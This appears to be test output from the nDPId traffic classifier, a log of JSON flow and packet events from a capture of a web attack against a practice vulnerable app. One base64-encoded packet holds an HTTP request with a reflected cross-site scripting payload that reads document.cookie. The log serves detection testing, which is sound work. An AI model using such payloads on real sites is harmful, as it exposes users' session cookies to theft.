+00773{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2204,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":152,"flow_packet_id":4,"flow_first_seen":1499347228091,"flow_last_seen":1499347231733,"flow_tot_l4_data_len":527,"flow_min_l4_data_len":32,"flow_max_l4_data_len":415,"flow_avg_l4_data_len":131,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54956,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/xss_r\/","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00432{"flow_id":152,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2205,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347231,"pkt_ts_usec":734008,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0nH5AAEAGJ1rAqAoyrBAAAQBQ1qzT8idBLNtDE4AQAOsSowAAAQEICgPjuz8BOenI"} +02829{"flow_id":152,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2206,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347231,"pkt_ts_usec":737132,"pkt_caplen":1837,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1837,"pkt_l4_len":1803,"pkt":"AMGxFOsxABm5CmnxCABFAAcfnH9AAEAGIG7AqAoyrBAAAQBQ1qzT8idBLNtDE4AYAOt9\/QAAAQEICgPjuz8BOenISFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjIwOjMxIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04DQoNCh+LCAAAAAAAAAOtWG1P4zgQ\/gzS\/gefTzpgpcbb2y+3XJoVtHAgsbfctix70kmRm7itwYmD7bTw72\/sOG14LdkioeKXeXk84xnP5N12+Mvga3\/07\/kRmplMoPOLw7PTPsIdQi4\/9gkZjAbox8noyxnqBh\/Q0CieGEKO\/sYIz4wp9glZLBbB4mMg1ZSMvpFbK6Vr2fywox1PkJoUR++2322HTs9tJnLde0JG99OnTxVrRb4VzhhNYbi1FWbMUGRZOuym5PMe7svcsNx0RncFwyipZj1s2K0hVsSfKJlRpZnpXYyOO39gRCqZW6HhRrDoeylypuiYC27u9tE3NhEsMSxFfSW1RkNuGBomiheG51O0+2M43EP7+2hAsxzVvIKhSzZGB0UheEINlznaHXy\/PNhD827Q\/YDeD9icCVlkAO19SCrFHoXg+TVSTPSwNneC6RljBiMDp\/GHSLTGaKbYpIeDgMBfOl9Qu0oyyvPAbZPH0jiYopbzH8\/olBFYui9pQueWLHAbSxnanbYJ4YrOabWKkVbJPSBX2v0\/BwXBlcZRSCpK7zniXWfHY5neoURQbb0uM4Yrl6Z8jnjaw9Z3cCKmvNcbW1ZIY30r5Nn0ERJ3SE2EnMqgyKcYUQEXYY2jVucGrKDukWpr5BgcVza0P9qLC5qmLK0OBASlqM9pdw+FTK6taQRHMk9A9XUPL3ieykUAWw5Hb6c6SbCDa1ZgoPfcFeDoBMwWEgpWFjzafo1AnkP0lYld0kExK16Q\/5AUR6eNlXZqIeDKYo2+JQ2OhnaICIQfLKLBYUMZKUW0gUHnjfjmcD3GqjSMvIDqaQYcHdr\/6FiqpKUHHgpktyxpA8DR46gvs4zmKTrNr5jzyGYoEq0mbVA4ekAx\/Ha8meIJJ8HnAkK1x4GzTNmaW\/IqfhwdcwjuU7uiN7ZNWQhJ0zbW8RwexoWbbegfWhh4uVq5yLO4uGVJqRjqH5yP+icHm0HRN4K3weHoIab\/OXury2olxmN43Fo5pcH1AA3aPbTLe5uhWjB6HfNWkGoWHF3CCA2ZtrcVnQ5apteHcm+1jlsBqRhwBPUM1Cpfv2xoCitONfRrVlVRr8KhahzL4usN0Oi21tA1iqGR6j6EDZ8gF4tQXa59DldkOLL1I9yPaqmdOYCf5xO5Rl2DCkfnJ+cQHRPZThEdy9KsUbOkwdGBHb6dWW2ht1b9ighHZ278AICv2O7Vfs8XgraEXRWC0MnYXa\/b7jULwXDW\/ZnuAkrmri+YG8Lnywo2TmTKYqoY9fXzRKoM5TSDah34oex1Ka6Hf8UIuqWZBOx\/HY18bRoW\/sSXM2p2NLqTpXLMn+vKOi\/KZvGPvWj7u6xvm0S6HGccyOZUlDAdVlOvjRRR1VQQi9Ituq5gaeBw9nv0BeLN3T6V0eqtgEW7590Dl2HlVtv7ad8vygXVhWsZ4YawW+tl4gzb0WDYeGnY2BkWuiGqptAIYngUaH6No5+XtbxErfEBdwxFgmEqPoKuCo4b96G9MfHQd34tMb4sbz1OlgcLfs0LlnLqRNtZ8+S6Pvnz2F4v42U8\/pjJlC9zYSIzm507E3oTuC8CT4J4BeOrNFc4qWDKdJ2EF9U9om7q8Mmluup14zhW0G5Wv3UGeSbj+LBPBKNqGUxPpSV9pw3LYpvKnwzPcWmMbXN9eH7nbIFOmCiWKbOQRVnENZnM+1XSXfX8+0BxUeyiZx7bOUiMZyDRXsfPAMk96b\/VjugJudhBezhCa2ENIRcl7G2BaSdzLTRrTSr4FNKmYBNIXyHLogvNlE17+yGBGaJpxnPvQpjXbzM6sx93PA1IXFHAo3o6GPqdlGubvdPai886dCKlufeto4g2+dhUPPWqNRMwse9W9VnOfTCL\/geoshewERQAAA=="} +00434{"flow_id":152,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2207,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347231,"pkt_ts_usec":738005,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0p6xAAD4GHiysEAABwKgKMtasAFAs20MT0\/IuLIAQAQALogAAAQEICgE56ckD47s\/"} +01217{"flow_id":152,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2208,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347231,"pkt_ts_usec":972109,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ9p61AAD4GG+KsEAABwKgKMtasAFAs20MT0\/IuLIAYAQAGawAAAQEICgE56gQD47s\/R0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdBWlc5UDkxWTQ0SzBaU0gzNUIzNFBWWFZNVzBGTUVVNTg0TjFCR0FYSURNU1dETTYwVSUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +02965{"flow_id":152,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2209,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347231,"pkt_ts_usec":975589,"pkt_caplen":1933,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1933,"pkt_l4_len":1899,"pkt":"AMGxFOsxABm5CmnxCABFAAd\/nIFAAEAGIAzAqAoyrBAAAQBQ1qzT8i4sLNtFXIAYAPR+XQAAAQEICgPju3sBOeoESFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjIwOjMxIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNg0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61Ye0\/jOBD\/G6T9Dj6fdMBKxPRgTwvbZkVbWNDBbm9TKHs6KXITtzU4cdZ2Wvj2N86jDc+SLRIqjj2P33jG4xm\/W2\/+1v3W6f\/oHaGJiQTqXbTPTjsIbxMy2O0Q0u130dVJ\/\/wMNZwd5BnFA0PI0VeM8MSY5ICQ2WzmzHYdqcak\/53cWikNy1YMt3XG44QmxO679XfrzUzPbSRi3XpCRmN\/fz9nzcnXmhNGQxiurTUjZiiyLNvsZ8qnLdyRsWGx2e7fJQyjIP9qYcNuDbEiPqFgQpVmpnXRP97+iBHJZa41DTeCuZepiJmiQy64uTtA39lIsMCwEHWU1Bp53DDkBYonhsdjtHnleVvo4AB1aRSjklcwNGBDdJgkggfUcBmjze7l4HALTRtOYwe977IpEzKJANr7JskVFygEj2+QYqKFtbkTTE8YMxgZsKYwItAao4lioxZ2HAJ\/4XRG7SyJKI+dbJk8lsZhK0o5\/\/GIjhmBqfuSRnRqyZxsYS5DZ9ZWIVzTKc1nMdIquAfkWmf\/e6DAudbYbZKcsvAcKVxnx0MZ3qFAUG29LiOGc5eGfIp42MLWd2ARU4XXK0tWSGV+rcmj8SMkmZGaCDmWThKPMaICAmGJoxZ2A1ZQ90i13WQfHJdWtD9a8xMahizMDQKCVJR22tW2kMGN3RrBkYwDUH3TwjMeh3LmwFKGo7WRW+Js4JIVGOg9dznYPYFtaxIKuyy4u\/4agTyG05cGdko7ySR5Qf5DUuyeVmbqqYUDlyZL9M1psOvZISJw\/GASddsVZSQV7gobOq2cbw7hMVSpYeQFVE8zYLdt\/6NjqYKaHngokN2yoA6AjB67HRlFNA7RaXzNMo+shiLQalQHRUYPKLzvx6spHnHifE7gqLY4cKYhWxIlr+LH7jGHw31qZ\/TKe5MmQtKwzu4UHAWMi+xrRf\/QxMDNVctFBUt2blmQKoY6h71+5+RwNSj6p+B1cGT0cKb\/OXurYLUS\/SFcbrWcUuF6gAZttu301mqoZoze+LwWpJIFuwMYIY9pG63otFszvT6Ue6u1XwtIzoBdqGegVvl2vuJWWHGqol+zvIp6FQ5V4pgXX2+ARtfdDV2i8IxU9yGseAVlZxGqy6XX4YIMu7Z+hPjIp+ptB\/DzeCSXqKtQYbd30oPTMZL1FNGhTM0SNXMa7B7a4dttqy30lqpfEGH3LBs\/AFBUbPdqv+cLQVvCLgpB6GTsaqHbrlULweak8SvdBZTMjaJgrgifzitYP5Ah86litKifR1JFKKYRVOvAD2VvluJa+HeMoFuaSMD+5ahf1KbNpLB4MKFmQ6M7maqM+XNZWcdJWi3+cSHa\/s7r2yqRTocRB7IpFSl8evlnoY0kbt5UEIsyx5so5p4wISQqWg0XKn8tBQMPjzc3Dv8d7Pf2Gz\/29v7e+dc72f3Q3t3rXV5dng92js+PLj583PvaaH85vDrtnnuD7vlfOxcbW5+qEkIZpLbTcgIpbzjb+jRvSQCOYplrFh5uTv50z+HAZ+GvIppfVjBp14r4gGhcxJVtPnXRsMoZ1UnWs0KIslsbZiTz7LYGz\/pzz\/qZZ6Edo2oMnSiGW4nGN9j9dVnzKK6ND7h9qFIMU\/4RtHVgrt+B\/sr4XtF61sT4srzlOFnszPgNT1jIaSbaflUt16Xlz2N7vYyX8RRmBmM+T8aBjOz1sD2iP53sSeJJEK9gfJXmHCcVTJlGJuFFdY+oqzqK7JaHetm5DhX0u\/lvmcKeSXlF3gkEo2p+mp\/Ki\/pOGxb59i55Mj8MU2Nsn13kh0vOZgiOfzLP2YlM0sQvyWTcybP+4tHhACgukk30zG0\/BYn+BCTacPwMkLKa4o\/SES0hZxtoC7toKSwPkmHA3haYzmQuhWZ3kwo+hrwt2AjyZ5NF7oVmyubdgyaBL0TDiMeFC+G7LA7QmX1dKmhA4oICbvXTrleshFzb6yMsvfisQ0dSmnuPLYm7ymtX8tS1Wk3AxF6c+btg9mLn\/g+fukQhkhQAAA=="} +00434{"flow_id":152,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2210,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347231,"pkt_ts_usec":976292,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0p65AAD4GHiqsEAABwKgKMtasAFAs20Vc0\/I1d4AQAR0BeQAAAQEICgE56gUD47t7"} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2211,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":312,"flow_first_seen":1499347097460,"flow_last_seen":1499347166757,"flow_tot_l4_data_len":242375,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1901,"flow_avg_l4_data_len":776,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53584,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2211,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":112,"flow_packet_id":6,"flow_first_seen":1499347159323,"flow_last_seen":1499347164659,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54228,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2211,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":112,"flow_packet_id":6,"flow_first_seen":1499347159323,"flow_last_seen":1499347164659,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54228,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2211,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":113,"flow_packet_id":6,"flow_first_seen":1499347160581,"flow_last_seen":1499347165659,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54242,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2211,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":113,"flow_packet_id":6,"flow_first_seen":1499347160581,"flow_last_seen":1499347165659,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54242,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2211,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":115,"flow_packet_id":6,"flow_first_seen":1499347164459,"flow_last_seen":1499347169660,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54282,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2211,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":115,"flow_packet_id":6,"flow_first_seen":1499347164459,"flow_last_seen":1499347169660,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54282,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2211,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":116,"flow_packet_id":6,"flow_first_seen":1499347165741,"flow_last_seen":1499347171660,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54296,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2211,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":116,"flow_packet_id":6,"flow_first_seen":1499347165741,"flow_last_seen":1499347171660,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54296,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00949{"flow_id":152,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2211,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347232,"pkt_ts_usec":982369,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGzp69AAD4GHKqsEAABwKgKMtasAFAs20Vc0\/I1d4AYAR2vhQAAAQEICgE56wAD47t7R0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02821{"flow_id":152,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2212,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347232,"pkt_ts_usec":986552,"pkt_caplen":1836,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1836,"pkt_l4_len":1802,"pkt":"AMGxFOsxABm5CmnxCABFAAcenINAAEAGIGvAqAoyrBAAAQBQ1qzT8jV3LNtG24AYAP19\/AAAAQEICgPjvHgBOesASFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjIwOjMyIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTgNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61YbU\/jOBD+DNL+B59POmClxtvbL7dcmhW0cCCxt9y2LHvSSZGbuK3BiYPttPDvb+w4bXgt2SKh4pd5eTzjGc\/k3Xb4y+Brf\/Tv+RGamUyg84vDs9M+wh1CLj\/2CRmMBujHyejLGeoGH9DQKJ4YQo7+xgjPjCn2CVksFsHiYyDVlIy+kVsrpWvZ\/LCjHU+QmhRH77bfbYdOz20mct17Qkb306dPFWtFvhXOGE1huLUVZsxQZFk67Kbk8x7uy9yw3HRGdwXDKKlmPWzYrSFWxJ8omVGlmeldjI47f2BEKplboeFGsOh7KXKm6JgLbu720Tc2ESwxLEV9JbVGQ24YGiaKF4bnU7T7YzjcQ\/v7aECzHNW8gqFLNkYHRSF4Qg2XOdodfL882EPzbtD9gN4P2JwJWWQA7X1IKsUeheD5NVJM9LA2d4LpGWMGIwOn8YdItMZoptikh4OAwF86X1C7SjLK88Btk8fSOJiilvMfz+iUEVi6L2lC55YscBtLGdqdtgnhis5ptYqRVsk9IFfa\/T8HBcGVxlFIKkrvOeJdZ8djmd6hRFBtvS4zhiuXpnyOeNrD1ndwIqa81xtbVkhjfSvk2fQREndITYScyqDIpxhRARdhjaNW5wasoO6RamvkGBxXNrQ\/2osLmqYsrQ4EBKWoz2l3D4VMrq1pBEcyT0D1dQ8veJ7KRQBbDkdvpzpJsINrVmCg99wV4OgEzBYSClYWPNp+jUCeQ\/SViV3SQTErXpD\/kBRHp42Vdmoh4Mpijb4lDY6GdogIhB8sosFhQxkpRbSBQeeN+OZwPcaqNIy8gOppBhwd2v\/oWKqkpQceCmS3LGkDwNHjqC+zjOYpOs2vmPPIZigSrSZtUDh6QDH8dryZ4gknwecCQrXHgbNM2Zpb8ip+HB1zCO5Tu6I3tk1ZCEnTNtbxHB7GhZtt6B9aGHi5WrnIs7i4ZUmpGOofnI\/6JwebQdE3grfB4eghpv85e6vLaiXGY3jcWjmlwfUADdo9tMt7m6FaMHod81aQahYcXcIIDZm2txWdDlqm14dyb7WOWwGpGHAE9QzUKl+\/bGgKK0419GtWVVGvwqFqHMvi6w3Q6LbW0DWKoZHqPoQNnyAXi1Bdrn0OV2Q4svUj3I9qqZ05gJ\/nE7lGXYMKR+cn5xAdE9lOER3L0qxRs6TB0YEdvp1ZbaG3Vv2KCEdnbvwAgK\/Y7tV+zxeCtoRdFYLQydhdr9vuNQvBcNb9me4CSuauL5gbwufLCjZOZMpiqhj19fNEqgzlNINqHfih7HUprod\/xQi6pZkE7H8djXxtGhb+xJczanY0upOlcsyf68o6L8pm8Y+9aPu7rG+bRLocZxzI5lSUMB1WU6+NFFHVVBCL0i26rmBp4HD2e\/QF4s3dPpXR6q2ARbvn3QOXYeVW2\/tp3y\/KBdWFaxnhhrBb62XiDNvRYNh4adjYGRa6Iaqm0AhieBRofo2jn5e1vESt8QF3DEWCYSo+gq4Kjhv3ob0x8dB3fi0xvixvPU6WBwt+zQuWcupE21nz5Lo++fPYXi\/jZTz+mMmUL3NhIjObnTsTehO4LwJPgngF46s0VzipYMp0nYQX1T2iburwyaW66nXjOFbQbla\/dQZ5JuP4sE8Eo2oZTE+lJX2nDctim8qfDM9xaYxtc314fudsgU6YKJYps5BFWcQ1mcz7VdJd9fz7QHFR7KJnHts5SIxnINFex88AyT3pv9WO6Am52EF7OEJrYQ0hFyXsbYFpJ3MtNGtNKvgU0qZgE0hfIcuiC82UTXv7IYEZomnGc+9CmNdvMzqzH3c8DUhcUcCjejoY+p2Ua5u909qLzzp0IqW5962jiDb52FQ89ao1EzCx71b1Wc59MIv+B6iyF7ARFAAA"} +00434{"flow_id":152,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2213,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347232,"pkt_ts_usec":987247,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0p7BAAD4GHiisEAABwKgKMtasAFAs20bb0\/I8YYAQATn2+QAAAQEICgE56wID47x4"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2214,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":155,"flow_packet_id":1,"flow_first_seen":1499347233219,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55010,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":155,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2214,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347233,"pkt_ts_usec":219454,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Fw9AAD4GrsGsEAABwKgKMtbiAFBsKfwzAAAAAKACchAy\/gAAAgQFtAQCCAoBOes8AAAAAAEDAwc="} +00444{"flow_id":155,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2215,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347233,"pkt_ts_usec":219592,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1uJkUL6IbCn8NKAScSBQbgAAAgQFtAQCCAoD47yyATnrPAEDAwc="} +00432{"flow_id":155,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2216,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347233,"pkt_ts_usec":220340,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0FxBAAD4GrsisEAABwKgKMtbiAFBsKfw0ZFC+iYAQAOXvdQAAAQEICgE56zwD47yy"} 